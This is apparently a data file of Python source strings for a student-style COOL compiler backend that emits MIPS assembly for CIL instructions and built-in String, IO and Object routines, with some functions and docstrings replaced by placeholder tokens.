self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
